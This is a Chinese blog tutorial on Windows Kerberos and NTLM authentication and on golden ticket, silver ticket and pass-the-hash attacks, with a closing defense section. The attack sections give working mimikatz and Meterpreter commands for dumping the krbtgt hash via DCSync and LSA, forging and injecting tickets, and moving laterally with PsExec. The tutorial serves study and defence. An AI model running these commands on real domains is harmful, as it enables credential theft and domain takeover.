调戏地狱三头犬 Kerberos

栏目: 编程工具 · 发布时间: 5年前

内容简介：本文主要介绍一些 Kerberos 协议的原理和围绕其展开的攻防研究，针对黄金/白银票据如何工作的细节进行了一些研究。最初的 Kerberos 协议是由 MIT 制定的，很多系统在实现过程中有不同的细节，如 Windows Kerberos 认证协议中就新增了 PAC 认证这一块，需要特别注意。本文主要是以 Windows Kerberos 的实现为主，但查阅资料时可能会有部分细节来源自 MIT 的标准，若有纰漏还望读者包涵指正。

0x00 前言

本文主要介绍一些 Kerberos 协议的原理和围绕其展开的攻防研究，针对黄金/白银票据如何工作的细节进行了一些研究。

最初的 Kerberos 协议是由 MIT 制定的，很多系统在实现过程中有不同的细节，如 Windows Kerberos 认证协议中就新增了 PAC 认证这一块，需要特别注意。

本文主要是以 Windows Kerberos 的实现为主，但查阅资料时可能会有部分细节来源自 MIT 的标准，若有纰漏还望读者包涵指正。

0x01 NTLM 简介

在介绍Kerberos协议之前，先简单介绍一下NTLM的相关知识。

在 Windows中， 存储的密码Hash就叫做 NTLM Hash，其中NTLM 全称是 “NT LAN Manager”，NTLM Hash 由hash 算法（ HMAC - MD5 ）对密码运算后得到。

在局域网或者域中，经常会使用NTLM 协议来进行认证，大概流程如下：

  1. Client 向 Server端发送请求，要求使用 Tom 用户进行认证。
  2. Server 端收到后，生成一个随机字符串C，使用 Tom 账号的 NTLM Hash 对C加密。将未加密的C发送给 Client。
  3. Client 收到C后，用 Tom 的 NTLM Hash 对C 加密，然后发送给 Server。
  4. Server 收到后，验证两边加密的结果是否相等，相等就表示通过。

通过这样的认证流程，就能够在不发送用户密码明文和Hash的情况下进行认证了。

0x02 Pass The Hash

通过对上面原理的介绍，我们发现，即使不能获取到某个账号的明文密码，仅仅获取NTLM Hash也是大有可为的。一旦获取了某个账号的NTLM Hash，我们就能够进行 Pass The Hash 攻击（PTH）。

Pass The Hash 攻击

  • Metasploit ( exploit/windows/smb/psexec, tools/exploit/psexec.rb )
  • Psexec.exe
  • mimikatz
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  712
  |  TID  300
  |  LUID 0 ; 362544 (00000000:00058830)
  \_ msv1_0   - data copy @ 000F8AF4 : OK !
  \_ kerberos - data copy @ 000E23B8
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ des_cbc_md5       -> null
   \_ des_cbc_crc       -> null
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

0x03 Kerberos 协议简介

Kerberos 协议认证的原理和上述提到的 NTLM 有很多类似的地方，下面简单介绍一下Kerberos 的认证流程。

调戏地狱三头犬 Kerberos

  1. （ AS-REQ ）Client 发送用户名 Tom 到 KDC （Key Distribution Center）以向 AS （Authentication Service）请求 TGT 票据等信息。
  2. （ AS-REP ）收到请求后，AS 生成随机字符串 Session Key，（？？？加上时间戳 timestamp）使用 Tom 的 NTLM Hash 对 Session Key 加密得到密文 A，再使用账号 krbtgt 的 NTLM Hash 对 Session Key 、 Client Info和 timestamp 加密得到 TGT，A 和 TGT 一起返回给 Client。
  3. （ TGS-REQ ） Client 收到请求后，使用自身的 NTLM Hash 解密 A 就能得到 Session Key，然后使用 Session Key 对 Client Info 和 timestamp 加密得到 B，加上 TGT ，发送给 KDC中的 TGS。
  4. （ TGS-REP ）TGS 收到请求后，使用 krbtgt 的 NTLM Hash 解密 TGT，得到 Session Key 和 timestamp 以及 Client Info，同时，使用 TGT 解密出的 Session Key 解密密文B，得到Client Info 和 timestamp。 比对这两部分解密得到的内容以验证是否通过。通过后，生成一个新的随机数 Session Key2，并用它加密 client info 和 timestamp 得到密文 enc-part；使用服务器计算机的NTLM Hash 对 session key2 和 client info 以及 timestamp 加密得到最终的 Ticket，返回给 Client。
  5. （ AP-REQ ）Client 使用 Ticket 和 enc-part 直接请求某服务。
  6. （ AP-REP ） 对Ticket 和 enc-part 解密后进行验证授权。

注意：

  • Kerberos 协议设计的思路就是用来在不受信的环境下进行认证的协议。
  • krbtgt 账号的 NTLM Hash 理论上只存在于 KDC 中。这意味着 TGT 只能由 KDC 来解密。如果krbtgt 账号的NTLM Hash泄露了，那么 TGT 就能被解密甚至伪造。伪造的 TGT 叫做黄金票据。
  • Ticket 是由服务器计算机本身的 NTLM Hash 加密的，Client 不能解密。如果该Hash 泄露，那么就可以解密甚至伪造 Ticket。伪造的 Ticket 叫做白银票据。
  • 在上述的流程中，涉及到时间戳 timestamp，由于它的存在，才使得被第三方获取了加密信息 A 、B、TGT不会在短时间内被暴力破解。timestamp 一般时间为8小时。
  • Kerberos 协议和 NTLM 协议都会使用 NTLM Hash 对生成的任意随机数加密，然后比对结果。 Kerberos 的主要区别在于添加了第三方——-KDC参与到认证过程中。
  • Client info 中包含域名信息、Client 名称等

0x04 Kerberos PAC 验证

PAC（ Privilege Account Certificate ）是用来验证数据合法性的一个扩展功能，它被包含在 Kerberos Ticket 中以一个数据结构体存在。 PAC 结构体包含安全标识符，组成员身份，用户配置文件信息和密码凭据等信息。PAC 验证的目的是为了解决 PAC 欺骗，防止攻击者利用篡改的 PAC 信息实现未授权访问。

下图显示了Kerberos PAC 认证过程。

调戏地狱三头犬 Kerberos

默认情况下 PAC 验证是不开启的，开启后会增加一些网络和性能上的消耗。

MS14-068 漏洞，就是基于 PAC 认证的错误，从而导致域内普通用户可以伪造凭据，从而提权到管理员权限。

0x05 Pass The Ticket

黄金票据（Gold Ticket）

攻击者在获取了 krbtgt 账号的 ntlm hash 后，就能自己任意伪造 TGT（包括session key，client info等内容），然后直接发送给 kdc，实现任意权限伪造。

调戏地狱三头犬 Kerberos

伪造黄金票据所需信息

  • 目标的域名信息（如：vln2012.local)
  • 目标域名的 SID （可通过 lsadump::lsa 获取）
  • 伪造的账号名称（如： Administrator）
  • 伪造账号的 RID （RID 是 SID 最右边的一部分，默认的 Administrator 账号的 RID 是 500）
  • 伪造账号所属组的 RIDs （如 Domain Users 和 Domain Admins 的RIDs 分别是 512 和 513）
  • 一个或者多个 krbtgt 账号的 Hash （如： RC4 加密的 NTLM Hash，AES-128 HMAC 、AES-256 HMAC）

伪造黄金票据的方法和工具

首先需要获取 krbtgt 账号的 hash，常用的方法如下：

  • DCSync (mimikatz)

mimikatz 会模拟域控，向目标域控请求账号密码信息。 这种方式动静更小，不用直接登陆域控，也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

lsadump::dcsync /user:krbtgt

或者在 meterpreter 中使用 kiwi 扩展

dcsync_ntlm krbtgt
  • LSA(mimikatz)

mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

privilege::debug
lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

调戏地狱三头犬 Kerberos

  • ntds.dit

将域控中的数据库 ntds.dit 复制出来使用其他 工具 解析，需要注意有时候这个 ntds.dit 是非常大的。

伪造黄金票据：

Mimikatz

mimikatz # kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
User      : utilisateur
Domain    : chocolate.local
SID       : S-1-5-21-130452501-2365100805-3685010670
User Id   : 1107
Groups Id : *513
krbtgt    : 310b643c5316c8c3c70a10cfb17e2e31 - rc4_hmac_nt
Lifetime  : 15/08/2014 01:57:29 ; 12/08/2024 01:57:29 ; 12/08/2024 01:57:29
-> Ticket : utilisateur.chocolate.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Meterpreter

golden_ticket_create -d chocolate.local -u utilisateur -s S-1-5-21-130452501-2365100805-3685010670
-k 310b643c5316c8c3c70a10cfb17e2e31 -t utilisateur.chocolate.kirbi

注入当前用户内存中：

Mimikatz

kerberos::ptt utilisateur.chocolate.kirbi

Meterpreter

kerberos_ticket_use utilisateur.chocolate.kirbi

查看内存中的 ticket

kerberos::list
kerberos::tgt
kerberos_ticket_list # meterpreter

访问域内其他服务器

dir \\WIN-PTELU2U07KG\C$

注意：如果使用 IP 地址访问的话会失败，使用 Netbios 的服务名访问才会走 Kerberos 协议（具体原因可以比较两协议的原理得出）。

通过 psexec 执行命令

PsExec64.exe \\WIN-PTELU2U07KG\ cmd.exe

理论上也可以使用 powershell、wmic 来远程执行命令。

黄金票据的特点

  • 黄金票据可以冒充域内任何用户生成对应的 Kerberos TGT 票证。因此，它可以用来任何合法的用户，虽然一般都会选择域管理员帐户；

  • 可以离线创建。一旦收集了创建黄金票据所需的所有数据，就不需要连接到域（参见上面的内容）;
  • 在有限期内都有效。Mimikatz 默认值为10年，也提供了参数可以创建任意有效期的黄金票据。但如果域管理员修改了 krbtgt 账户的 Hash， 黄金票据就会立即失效；
  • 域组策略中修改 Kerberos Policy 中的生存周期（lifetime）不会影响到黄金票据（默认更新时间为10小时，总有效时间为7天）。KDC 会验证 TGT 中的存活时间戳，而不是域控上的组策略设置。攻击者生成任何生存周期的黄金票据;
  • 被冒充的帐户重置密码不会影响到黄金票据；
  • 重置 krbtgt 账号的密钥会使所有的黄金票据失效；
  • Windows 事件日志不区分合法TGT与黄金票据。 因此目前没有通用的规则来检测黄金票据使用。

白银票据 （Silver Ticket）

通过获取 Server 端本地计算机账户（或服务账号）对应的 NTLM Hash，在不用与 KDC 进行通信的情况下，就能伪造该计算机任意服务的 Ticket。

调戏地狱三头犬 Kerberos

伪造白银票据所需的信息：

  • 目标的域名信息（如： example.domain.local )
  • 目标域名的 SID （可通过 lsadump::lsa 获取）
  • 伪造的账号名称（如： Administrator ）
  • 目标计算机账号（或对应服务账号，如 MS SQL ）的 Hash
  • 目标服务器的 FQDN（Fully Qualified Domain Name，如 adsmswin2k8r2.example.domain.local ）

伪造白银票据的方法和工具

mimikatz

mimikatz “kerberos::golden /admin:Administrator /id:500 /domain:example.domain.local /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.example.domain.local /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

使用和其他功能同黄金票据。

黄金、白银票据的差异

  • 黄金票据伪造的是 TGT，白银票据伪造的是 Ticket；黄金票据是在 Kerberos 协议中的第三步（TGS-REQ）开始，而白银票据是从第五步（AP-REQ）开始。两者伪造的信息和伪造的步骤都不同。
  • 黄金票据需要与 KDC 通信，而白银票据不需要。
  • 黄金票据需要 krbtgt 账号的 NTLM Hash，而白银票据需要的是目标计算机对应的账号或对应服务账号的 NTLM Hash。
  • 白银票据需要指定目标服务/计算机的路径（如 adsmswin2k8r2.example.domain.local ），以及对应的服务名（如 cifs , rpcss , http , mssql ）。
  • 白银票据只对指定计算机上的指定服务生效，局限性比较大。

PTT 的一些实现细节

可以看到在生成黄金票据的时候，mimikatz 会提示生成了好几部分内容，这些提示我试图查找一些资料，都没有找到现成的解释，于是都去翻了翻 mimikatz 的源码试图找到合理的解释。

在 kuhl_m_kerberos.c #508 处的 kuhl_m_kerberos_golden_data 函数，是负责生成黄金票据信息的主要函数，可以看到有相关的一些参数。

继续查看该函数实现的定义，如下

if(sid) // we want a PAC !
	{
		if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))
		{
			if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))
			{
				kprintf(L" * PAC generated\n");
				status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);
				if(NT_SUCCESS(status))
					kprintf(L" * PAC signed\n");
			}
		}
	}

	if(!sid || NT_SUCCESS(status))
	{
		if(BerApp_EncTicketPart = kuhl_m_kerberos_ticket_createAppEncTicketPart(&ticket, pacType, pacTypeSize))
		{
			kprintf(L" * EncTicketPart generated\n");
			status = kuhl_m_kerberos_encrypt(keyType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, keySize, BerApp_EncTicketPart->bv_val, BerApp_EncTicketPart->bv_len, (LPVOID *) &ticket.Ticket.Value, &ticket.Ticket.Length, TRUE);	
			if(NT_SUCCESS(status))
			{
				kprintf(L" * EncTicketPart encrypted\n");
				if(BerApp_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(&ticket, FALSE))
					kprintf(L" * KrbCred generated\n");
				LocalFree(ticket.Ticket.Value);
			}
			else PRINT_ERROR(L"kuhl_m_kerberos_encrypt %08x\n", status);
			ber_bvfree(BerApp_EncTicketPart);
		}
	}

一共分成三部分，分别是

  • 生成PAC并对其签名
  • 生成并加密EncTicketPart
  • 生成最终的TGT

生成和签名PAC

可以看到是先通过函数 kuhl_m_pac_infoToValidationInfo （这些信息包括 LogoffTime, PasswordLastSet, PasswordMustChange 等） 和 kuhl_m_pac_validationInfo_to_PAC 生成验证信息并转化为PAC 结构，然后用 kuhl_m_pac_signature 函数对其签名，PAC 信息就生成完毕，代码见 kuhl_m_kerberos_pac.c#L146 。

生成和加密EncTicketPart

接下来使用函数 kuhl_m_kerberos_ticket_createAppEncTicketPart （参考 kuhl_m_kerberos_ticket.c#L250 ）生成 EncTicketPart，这个EncTicketPart就是是组成 TGT 的重要组成部分，TGT 的详细组成后面会讲。

查看一下该函数的实现细节如下（部分代码）：

ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));
		kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags);
		ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));
		kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length);
		ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));
		kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName);
		ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));
		kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName);
		ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));
		kull_m_asn1_GenTime(pBer, &ticket->StartTime);
		ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));
		kull_m_asn1_GenTime(pBer, &ticket->StartTime);
		ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));
		kull_m_asn1_GenTime(pBer, &ticket->EndTime);
		ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));
		kull_m_asn1_GenTime(pBer, &ticket->RenewUntil);
		ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */

可以看到一些该部分是由 ID_CTX_ENCTICKETPART_FLAGS, ID_CTX_ENCTICKETPART_KEY, ID_CTX_ENCTICKETPART_CREALM 等信息组成的，这就是 EncTicketPart 的主要组成结构（参考 RFC4120 ）。

在生成完 EncTicketPart 之后，需要使用之前生成的随机的 Session Key 对其加密（本来 Session Key 是由 KDC 协商的，因为这里是伪造的，所以是本地生成）。实现的函数是 kuhl_m_kerberos_encrypt 。

生成最终的TGT

然后是 kuhl_m_kerberos_ticket_createAppKrbCred 函数创建最终的TGT（参考 kuhl_m_kerberos_ticket.c#L196 ），Ticket的结构如下： 

Ticket          ::= [APPLICATION 1] SEQUENCE {
        tkt-vno         [0] INTEGER (5),
        realm           [1] Realm,
        sname           [2] PrincipalName,
        enc-part        [3] EncryptedData -- EncTicketPart
}

创建完之后，将伪造的黄金票据注入到内存中，使用 kuhl_m_kerberos_ptt_data 函数（参考），该函数先将伪造的黄金票据复制到内存中，然后调用 LsaCallAuthenticationPackage 函数来解析缓存中的认证信息，验证是否可用。

0x06 防御

保护域控和敏感账户

  • 限制域管理员和其他高权限账户登陆低信任程度的服务器。
  • 给管理员提供专门的高权限用户来进行管理操作，与日常使用的普通权限用户区分开。
  • 使用专门的工作站来进行管理任务。
  • 在域环境中，将特权账户标记为敏感且不能委派（sensitive and cannot be delegated）。
  • 不要使用高权限的域账号在不受信任的系统（如个人电脑）上配置服务或者计划任务。

小结： 如果从未在被入侵的计算机上登陆过高权限账户，那么攻击者无法窃取高权限账号的信息。这些措施可以明显增高攻击者危害高权限账户的攻击成本。

重置 krbtgt 账号密码

重置该账号密码可以使得所以所有生成的黄金票据立即失效，可能会导致一些手动输入密码的服务失效，同时造成短时间内域控的负载增大。

开启 PAC 验证

开启 PAC 验证，但会增加 KDC 的压力。

检测

gentilkiwi 写了一个 yara 规则用来检测 dump hash 的相关，见 kiwi_passowrds.yar

0x07 参考链接

https://www.secpulse.com/archives/94848.html

http://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf

https://tools.ietf.org/html/rfc4120#section-5.8

http://www.securityandit.com/network/kerberos-protocol-understanding/

https://github.com/gentilkiwi/mimikatz

https://en.wikipedia.org/wiki/NT_LAN_Manager

https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/

https://ldapwiki.com/wiki/Golden%20Ticket

https://pentestlab.blog/2018/04/09/golden-ticket/

https://adsecurity.org/?p=2011

https://download.microsoft.com/download/7/7/a/77abc5bd-8320-41af-863c-6ecfb10cb4b9/mitigating%20pass-the-hash%20(pth)%20attacks%20and%20other%20credential%20theft%20techniques_english.pdf


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